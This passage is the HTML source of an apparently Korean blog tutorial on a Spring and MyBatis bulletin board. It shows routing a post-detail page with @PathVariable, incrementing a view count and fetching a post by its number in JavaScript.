&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJb6C9/btsOHByhjjR/vA8Sik5bZOGHudayKeu2A0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJb6C9/btsOHByhjjR/vA8Sik5bZOGHudayKeu2A0/img.png&quot; data-alt=&quot;경로변수를 통한 Get방식의 요청을 처리하는 함수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJb6C9/btsOHByhjjR/vA8Sik5bZOGHudayKeu2A0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJb6C9%2FbtsOHByhjjR%2FvA8Sik5bZOGHudayKeu2A0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;332&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;332&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;경로변수를 통한 Get방식의 요청을 처리하는 함수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전에 사용했던 @GetMapping 어노테이션과 다른방식으로 처리가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에는 경로변수(@PathVariable 어노테이션)과 @GetMapping에 {}기호를 사용하게 되는데 다음과 같이 처리가 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에는 http://127.0.0.1:8080/api/board로 요청을 보낼때 어떤 방식(POST GET DELETE PUT 등) 으로 요청이 오는지를 구분했다. 하지만 해당 메서드는 http://127.0.0.1:8080/api/board&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/???&lt;/span&gt; 과 같이 물음표에 들어가는 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;키워드를 받아와서&lt;/span&gt; 해당 함수를 실행시킬 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;받아온 x는 글 번호를 받아오게 할 것이므로 controller service mapper를 통해 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;SELECT 구문으로 WHERE절에 NO = #{x}&lt;/span&gt;와 같은 식으로 쿼리문 실행이 가능해진다 . 그리고 받아온 선택한 해당 게시물에 대 한 내용이 담긴 객체를 js로 응답하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지를 구성하게 되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;342&quot; data-origin-height=&quot;102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dXVSfR/btsOJPIewOX/V1Ge7x4cYwkkeGJK0qLQz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dXVSfR/btsOJPIewOX/V1Ge7x4cYwkkeGJK0qLQz1/img.png&quot; data-alt=&quot;BoardService 클래스의 detail() 메서드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dXVSfR/btsOJPIewOX/V1Ge7x4cYwkkeGJK0qLQz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdXVSfR%2FbtsOJPIewOX%2FV1Ge7x4cYwkkeGJK0qLQz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;342&quot; height=&quot;102&quot; data-origin-width=&quot;342&quot; data-origin-height=&quot;102&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardService 클래스의 detail() 메서드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 해당 요청을 보냈다는 것은 특정 페이지를 방문했다는 얘기와 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 게시물 컬럼에 존재하는 조회수 컬럼의 값도 증가를 시켜주어야 한다. 즉, 트랜잭션을 처리하는 Service 클래스에서의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;detail 메서드에서 두가지의 쿼리문이 진행되어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;1. UPDATE 명령문을 통한 조회수 컬럼 값 1 올리기&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;2. 해당 게시물에 대한 내용을 SELECT 하여 게시물 정보 객체 반환하기&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;357&quot; data-origin-height=&quot;508&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9Eelt/btsOJidkZow/adRltXrGZPFoJcakteW3G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9Eelt/btsOJidkZow/adRltXrGZPFoJcakteW3G0/img.png&quot; data-alt=&quot;BoardMapper 클래스의 mybatis 작업&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9Eelt/btsOJidkZow/adRltXrGZPFoJcakteW3G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9Eelt%2FbtsOJidkZow%2FadRltXrGZPFoJcakteW3G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;357&quot; height=&quot;508&quot; data-origin-width=&quot;357&quot; data-origin-height=&quot;508&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardMapper 클래스의 mybatis 작업&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿼리문에 대해서 작업을 처리만 하면 되는 Mapper 에서는 spring mybaits의 명령문 어노테이션을 통해서 작업을 진행하면 되므로&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;추상메서드&lt;/span&gt;만 다루게 된다. 그래서 해당 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Mapper는 interface&lt;/span&gt;로 지정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 쿼리문을 진행하고 결과로는 게시물 정보를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;[게시물 목록에서 클릭이벤트 요청 처리]&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시돌아와서 게시물 목록에서 특정 게시물을 클릭했을 때, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;특정 게시물의 내용이 담긴 페이지를 보여주기위해 클릭 이벤트 설정&lt;/span&gt;이 필요하다. 게시물 목록이 어떤식으로 클릭 이벤트를 처리하는지 확인해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;658&quot; data-origin-height=&quot;478&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBvOZD/btsOJq91AfH/pdUnDlH225EvAMIL1fMkmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBvOZD/btsOJq91AfH/pdUnDlH225EvAMIL1fMkmK/img.png&quot; data-alt=&quot;list.js 에서 게시물 목록에서 특정 게시물 onclick 달아주기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBvOZD/btsOJq91AfH/pdUnDlH225EvAMIL1fMkmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBvOZD%2FbtsOJq91AfH%2FpdUnDlH225EvAMIL1fMkmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;658&quot; height=&quot;478&quot; data-origin-width=&quot;658&quot; data-origin-height=&quot;478&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;list.js 에서 게시물 목록에서 특정 게시물 onclick 달아주기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지 구성을 확인해보면 BoardApiController에서 처리가 가능한&lt;span style=&quot;background-color: #f6e199;&quot;&gt; api/board&lt;/span&gt; 키워드가 담긴 url을 통해 fetch함수를 진행한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Get방식&lt;/span&gt;의 해당 키워드를 처리하는&lt;span style=&quot;background-color: #f6e199;&quot;&gt; list() 메서드를 통해서 모든 게시물 객체가 담긴 리스트와 결과 메세지가 담긴 Map을 리턴받는다.&lt;/span&gt; .then을 통해서 응답받은 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;resp를 json() 메서드를 통해서 JSON 형태로 반환받은 응답을 Map으로 변환&lt;/span&gt;한다. map.voList는 모든 게시물 객체가 담긴 리스트로 해당 리스트를 for of를 통해서 각각의 객체에 대해서 목록을 보여주려는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;tb요소에 innerHTML&lt;/span&gt;을 통해 목록을 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;505&quot; data-origin-height=&quot;20&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/borIfF/btsOI5kPB8j/S6h16u0h3Lmyl49WuXZhs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/borIfF/btsOI5kPB8j/S6h16u0h3Lmyl49WuXZhs1/img.png&quot; data-alt=&quot;특정 게시물 클릭을 통한 상세페이지 포워딩 (+pathVariable)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/borIfF/btsOI5kPB8j/S6h16u0h3Lmyl49WuXZhs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FborIfF%2FbtsOI5kPB8j%2FS6h16u0h3Lmyl49WuXZhs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;505&quot; height=&quot;20&quot; data-origin-width=&quot;505&quot; data-origin-height=&quot;20&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;특정 게시물 클릭을 통한 상세페이지 포워딩 (+pathVariable)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, 글번호 제목&amp;nbsp; 내용 조회수 을 담고있는 tr태그를 클릭했을 때, 상세페이지로 포워딩을 해주기 위해서 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;onclick 속성&lt;/span&gt;을 이용해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffc9af;&quot;&gt;location.href의 값을 /board/detail/${i.no}로 설정&lt;/span&gt;하였다. Get방식으로 해당 키워드에 요청을 보내게 되며,&lt;span style=&quot;background-color: #ffc9af;&quot;&gt; for문이 돌면서 각각의 게시물 내용에서 게시물 번호를 가져와서 패스경로를 글번호로 설정&lt;/span&gt;한것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 되면 23번 게시물을 클릭하게 되면, &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;http://127.0.0.1:8080/board/detail/23으로 요청을 보내게 되고 페이지를 포워딩&lt;/span&gt;하게 될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 여기서 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;문제&lt;/span&gt;는 board/detail/1, board/detail/2, board/detail/3 이런식으로 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;각각의 패스경로에 대해서 처리하는 메서드를 Controller 클래스에 모두 각각 만들어주어야 하는 문제가 발생&lt;/span&gt;한다. 이때 다음과 같은 방식으로 처리가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;282&quot; data-origin-height=&quot;83&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bO0gwf/btsOHIw9yPt/Jk9HvOAof9DHlP49bVTb4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bO0gwf/btsOHIw9yPt/Jk9HvOAof9DHlP49bVTb4K/img.png&quot; data-alt=&quot;포워딩 처리를 위한 Controller 클래스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bO0gwf/btsOHIw9yPt/Jk9HvOAof9DHlP49bVTb4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbO0gwf%2FbtsOHIw9yPt%2FJk9HvOAof9DHlP49bVTb4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;282&quot; height=&quot;83&quot; data-origin-width=&quot;282&quot; data-origin-height=&quot;83&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;포워딩 처리를 위한 Controller 클래스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;262&quot; data-origin-height=&quot;99&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8OL6Q/btsOJoLeAjr/Arg5uMLu8eor6rQaZF5R90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8OL6Q/btsOJoLeAjr/Arg5uMLu8eor6rQaZF5R90/img.png&quot; data-alt=&quot;board/detail/로 시작하는 모든 요청을 처리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8OL6Q/btsOJoLeAjr/Arg5uMLu8eor6rQaZF5R90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8OL6Q%2FbtsOJoLeAjr%2FArg5uMLu8eor6rQaZF5R90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;262&quot; height=&quot;99&quot; data-origin-width=&quot;262&quot; data-origin-height=&quot;99&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;board/detail/로 시작하는 모든 요청을 처리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 일단 어떤 숫자(글번호)가 오던지 상관하지 않고, &lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;@GetMapping(&quot;detail/*&quot;)와 같이 설정하면 board/detail/로 시작하는 요청이 왔을 경우에 일단 모두 board/detail 페이지를 포워딩&lt;/span&gt; 해준다. 이렇게 되면 다음과 같이 홈페이지가 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;355&quot; data-origin-height=&quot;264&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUxGvQ/btsOJQNTEqi/2xzsgfKmO9m2dgtKpHnY70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUxGvQ/btsOJQNTEqi/2xzsgfKmO9m2dgtKpHnY70/img.png&quot; data-alt=&quot;글번호가 추가된 url과 포워딩된 detail.jsp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUxGvQ/btsOJQNTEqi/2xzsgfKmO9m2dgtKpHnY70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUxGvQ%2FbtsOJQNTEqi%2F2xzsgfKmO9m2dgtKpHnY70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;355&quot; height=&quot;264&quot; data-origin-width=&quot;355&quot; data-origin-height=&quot;264&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;글번호가 추가된 url과 포워딩된 detail.jsp&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직까지는 데이터를 받아오지 않고 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;url에 글번호만 추가&lt;/span&gt;되었고 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;비어있는 detail.jsp를 포워딩&lt;/span&gt;해주고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제는 포워딩해준 detail.jsp에 detail.js를 연결해주고, &lt;span style=&quot;background-color: #f6e199; color: #000000;&quot;&gt;fetch()를 통해서 아까 만들어둔 BoardApiController에&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199; color: #000000;&quot;&gt;detail() 메서드를 통해서 특정 게시물의 데이터를 출력&lt;/span&gt;해주기만 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d47w1B/btsOJKUxKDZ/qzXbKFpKwtriDFXj5oWyGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d47w1B/btsOJKUxKDZ/qzXbKFpKwtriDFXj5oWyGk/img.png&quot; data-alt=&quot;detail.jsp가 포워딩 되자마자 실행되는 detail.js fetch함수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d47w1B/btsOJKUxKDZ/qzXbKFpKwtriDFXj5oWyGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd47w1B%2FbtsOJKUxKDZ%2FqzXbKFpKwtriDFXj5oWyGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;590&quot; height=&quot;460&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;detail.jsp가 포워딩 되자마자 실행되는 detail.js fetch함수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;detail.jsp에 연결되어있는 detail.js를 확인해보자. 일단 우리가 게시물 목록에서 클릭한 특정 게시물 번호을 얻을 수 있는 방법은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;206&quot; data-origin-height=&quot;29&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/V7Pkx/btsOJDORwER/yP6WD4k9MLeMjke8Oiim1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/V7Pkx/btsOJDORwER/yP6WD4k9MLeMjke8Oiim1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/V7Pkx/btsOJDORwER/yP6WD4k9MLeMjke8Oiim1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FV7Pkx%2FbtsOJDORwER%2FyP6WD4k9MLeMjke8Oiim1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;206&quot; height=&quot;29&quot; data-origin-width=&quot;206&quot; data-origin-height=&quot;29&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;url에 추가해준 키워드를 사용&lt;/span&gt;하면 된다. 현재 위치해 있는 홈페이지의 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;url 문자열&lt;/span&gt;은 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;location.href&lt;/span&gt;를 통해서 얻어올 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 &quot;/&quot;로 구분이 가능하므로 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;split() 메서드&lt;/span&gt;를 통해서 /를 구분하여 배열로 만들어주고 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;pop() 메서드&lt;/span&gt;를 통해서&lt;span style=&quot;background-color: #f6e199;&quot;&gt; 맨 마지막 인덱스에 있는 &quot;16&quot;을 꺼낼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;515&quot; data-origin-height=&quot;316&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N6aIv/btsOI6YpvEJ/XGvKtxhjbRmDglaCd8BOmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N6aIv/btsOI6YpvEJ/XGvKtxhjbRmDglaCd8BOmK/img.png&quot; data-alt=&quot;BoardApiController에 api/board/{x} 에 대해서 처리하는 메서드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N6aIv/btsOI6YpvEJ/XGvKtxhjbRmDglaCd8BOmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN6aIv%2FbtsOI6YpvEJ%2FXGvKtxhjbRmDglaCd8BOmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;515&quot; height=&quot;316&quot; data-origin-width=&quot;515&quot; data-origin-height=&quot;316&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardApiController에 api/board/{x} 에 대해서 처리하는 메서드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 글번호를 통해서 fetch 함수로 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;127.0.0.1:8080/api/board/16&lt;/span&gt;의 url에&lt;span style=&quot;background-color: #ffc9af;&quot;&gt; GET방식으로 요청&lt;/span&gt;을 보내고 글번호 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;16이&amp;nbsp; detail 메서드의 패스변수 x&lt;/span&gt;에 담기게 되어 &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;16번 게시물 객체를 반환&lt;/span&gt;한다. 객체에 담긴 내용을 태그안에 값으로 설정만 해주면 끝이 난다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;273&quot; data-origin-height=&quot;170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beSVXc/btsOJJVHKZz/OOawhkkdHp87gEOG5mAH2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beSVXc/btsOJJVHKZz/OOawhkkdHp87gEOG5mAH2k/img.png&quot; data-alt=&quot;16번 게시물 데이터가 담긴 페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beSVXc/btsOJJVHKZz/OOawhkkdHp87gEOG5mAH2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeSVXc%2FbtsOJJVHKZz%2FOOawhkkdHp87gEOG5mAH2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;273&quot; height=&quot;170&quot; data-origin-width=&quot;273&quot; data-origin-height=&quot;170&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;16번 게시물 데이터가 담긴 